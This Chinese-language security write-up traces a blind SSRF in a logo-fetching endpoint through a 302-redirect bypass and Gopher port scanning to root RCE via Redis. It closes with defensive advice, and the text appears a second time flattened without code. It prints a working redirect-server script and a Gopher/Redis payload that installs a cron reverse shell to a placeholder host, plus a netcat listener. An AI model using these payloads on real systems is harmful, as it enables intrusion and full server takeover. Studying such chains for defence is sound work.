记一次从盲SSRF到RCE
字数 1481 2025-08-05 11:39:40

从盲SSRF到RCE的完整攻击链分析与复现指南

一、漏洞概述

本教学文档详细分析了一个从盲SSRF(Server-Side Request Forgery,服务端请求伪造)升级到RCE(Remote Code Execution,远程代码执行)的完整攻击链。攻击者通过精心构造的请求,利用目标系统的服务端请求功能,最终实现了远程代码执行,获得了root权限。

二、攻击流程总览

  1. 目标发现与信息收集
  2. 识别潜在的SSRF漏洞点
  3. 绕过SSRF防护机制
  4. 利用Gopher协议进行内部服务探测
  5. 识别Redis服务并构造RCE载荷
  6. 通过302重定向绕过协议限制
  7. 实现远程代码执行

三、详细攻击步骤

1. 目标发现与信息收集

关键工具:

  • GAU (https://github.com/lc/gau):获取URL和参数列表
  • Ffuf (https://github.com/ffuf/ffuf):目录模糊测试
  • Burp Suite:代理拦截和请求分析

方法:

  • 分析JavaScript文件寻找隐藏参数
  • 对Web应用功能进行全面测试并记录所有请求
  • 重点关注包含外部URL参数的请求

发现点:

GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com

2. 初步SSRF测试

测试方法:

  • 尝试访问内部IP地址(通常被防护)
  • 枚举公司子域名并测试访问
  • 验证响应是否包含目标站点的标题和logo信息

成功验证:

GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com

3. 绕过SSRF防护

发现点:

  • 直接使用Gopher协议导致服务器错误
  • 302重定向可以绕过协议限制

验证方法:

  1. 设置Python重定向服务器:
# 302redirect.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
  1. 启动服务器:
python3 302redirect.py 8080 "http://mycollaboratorurl/"
  1. 测试重定向:
GET /xxx/logoGrabber?url=http://my302redirectserver:8080/
Host: site.example.com

4. Gopher协议利用

关键发现:

  • 通过302重定向可以成功使用Gopher协议
  • Gopher协议可用于访问内部服务

工具:

  • Gopherus (https://github.com/tarunkant/Gopherus):生成各种服务的Gopher有效载荷

支持的服务:

  • MySQL (Port-3306)
  • FastCGI (Port-9000)
  • Memcached (Port-11211)
  • Redis (Port-6379)
  • Zabbix (Port-10050)
  • SMTP (Port-25)

5. 内部端口扫描

方法:

  • 通过响应时间差异判断端口状态
  • 快速响应→端口开放
  • 慢速响应→端口关闭

示例:

302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED

6. Redis RCE利用

攻击步骤:

  1. 使用Gopherus生成Redis反向shell载荷:
./gopherus.py --exploit redis
  1. 生成的载荷示例:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  1. 设置重定向服务器:
python3 302redirect.py 8080 "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A..."
  1. 启动Netcat监听:
nc -lvnp 1337
  1. 发送最终攻击请求:
GET /xxx/logoGrabber?url=http://my302redirectserver:8080/
Host: site.example.com

注意: Redis执行命令可能有延迟(案例中延迟了约5分钟)

四、防御措施

1. 针对SSRF的防护

  • 实施严格的URL白名单验证
  • 禁用非常用协议(如Gopher)
  • 验证请求的目标IP地址(禁止内部IP)
  • 使用DNS重绑定防护

2. 针对Redis的防护

  • 配置Redis绑定特定IP
  • 设置Redis密码认证
  • 禁用危险命令(如FLUSHALL、CONFIG)
  • 以非root用户运行Redis

3. 纵深防御

  • 实施网络分段,限制服务间通信
  • 监控异常的内部服务请求
  • 定期进行安全审计和渗透测试

五、总结

本案例展示了一个完整的攻击链,从最初的信息收集到最终的RCE。关键点包括:

  1. 通过302重定向绕过协议限制
  2. 利用响应时间差异进行内部端口扫描
  3. 使用Gopher协议与内部服务交互
  4. 针对Redis服务的特定攻击载荷构造
  5. 耐心等待命令执行(注意可能的延迟)

这种攻击方式具有很高的危险性,因为它可以绕过许多传统的防护措施,安全团队需要特别关注SSRF漏洞的潜在影响范围。

从盲SSRF到RCE的完整攻击链分析与复现指南 一、漏洞概述 本教学文档详细分析了一个从盲SSRF(Server-Side Request Forgery,服务端请求伪造)升级到RCE(Remote Code Execution,远程代码执行)的完整攻击链。攻击者通过精心构造的请求,利用目标系统的服务端请求功能,最终实现了远程代码执行,获得了root权限。 二、攻击流程总览 目标发现与信息收集 识别潜在的SSRF漏洞点 绕过SSRF防护机制 利用Gopher协议进行内部服务探测 识别Redis服务并构造RCE载荷 通过302重定向绕过协议限制 实现远程代码执行 三、详细攻击步骤 1. 目标发现与信息收集 关键工具: GAU (https://github.com/lc/gau):获取URL和参数列表 Ffuf (https://github.com/ffuf/ffuf):目录模糊测试 Burp Suite:代理拦截和请求分析 方法: 分析JavaScript文件寻找隐藏参数 对Web应用功能进行全面测试并记录所有请求 重点关注包含外部URL参数的请求 发现点: 2. 初步SSRF测试 测试方法: 尝试访问内部IP地址(通常被防护) 枚举公司子域名并测试访问 验证响应是否包含目标站点的标题和logo信息 成功验证: 3. 绕过SSRF防护 发现点: 直接使用Gopher协议导致服务器错误 302重定向可以绕过协议限制 验证方法: 设置Python重定向服务器: 启动服务器: 测试重定向: 4. Gopher协议利用 关键发现: 通过302重定向可以成功使用Gopher协议 Gopher协议可用于访问内部服务 工具: Gopherus (https://github.com/tarunkant/Gopherus):生成各种服务的Gopher有效载荷 支持的服务: MySQL (Port-3306) FastCGI (Port-9000) Memcached (Port-11211) Redis (Port-6379) Zabbix (Port-10050) SMTP (Port-25) 5. 内部端口扫描 方法: 通过响应时间差异判断端口状态 快速响应→端口开放 慢速响应→端口关闭 示例: 6. Redis RCE利用 攻击步骤: 使用Gopherus生成Redis反向shell载荷: 生成的载荷示例: 设置重定向服务器: 启动Netcat监听: 发送最终攻击请求: 注意: Redis执行命令可能有延迟(案例中延迟了约5分钟) 四、防御措施 1. 针对SSRF的防护 实施严格的URL白名单验证 禁用非常用协议(如Gopher) 验证请求的目标IP地址(禁止内部IP) 使用DNS重绑定防护 2. 针对Redis的防护 配置Redis绑定特定IP 设置Redis密码认证 禁用危险命令(如FLUSHALL、CONFIG) 以非root用户运行Redis 3. 纵深防御 实施网络分段,限制服务间通信 监控异常的内部服务请求 定期进行安全审计和渗透测试 五、总结 本案例展示了一个完整的攻击链,从最初的信息收集到最终的RCE。关键点包括: 通过302重定向绕过协议限制 利用响应时间差异进行内部端口扫描 使用Gopher协议与内部服务交互 针对Redis服务的特定攻击载荷构造 耐心等待命令执行(注意可能的延迟) 这种攻击方式具有很高的危险性,因为它可以绕过许多传统的防护措施,安全团队需要特别关注SSRF漏洞的潜在影响范围。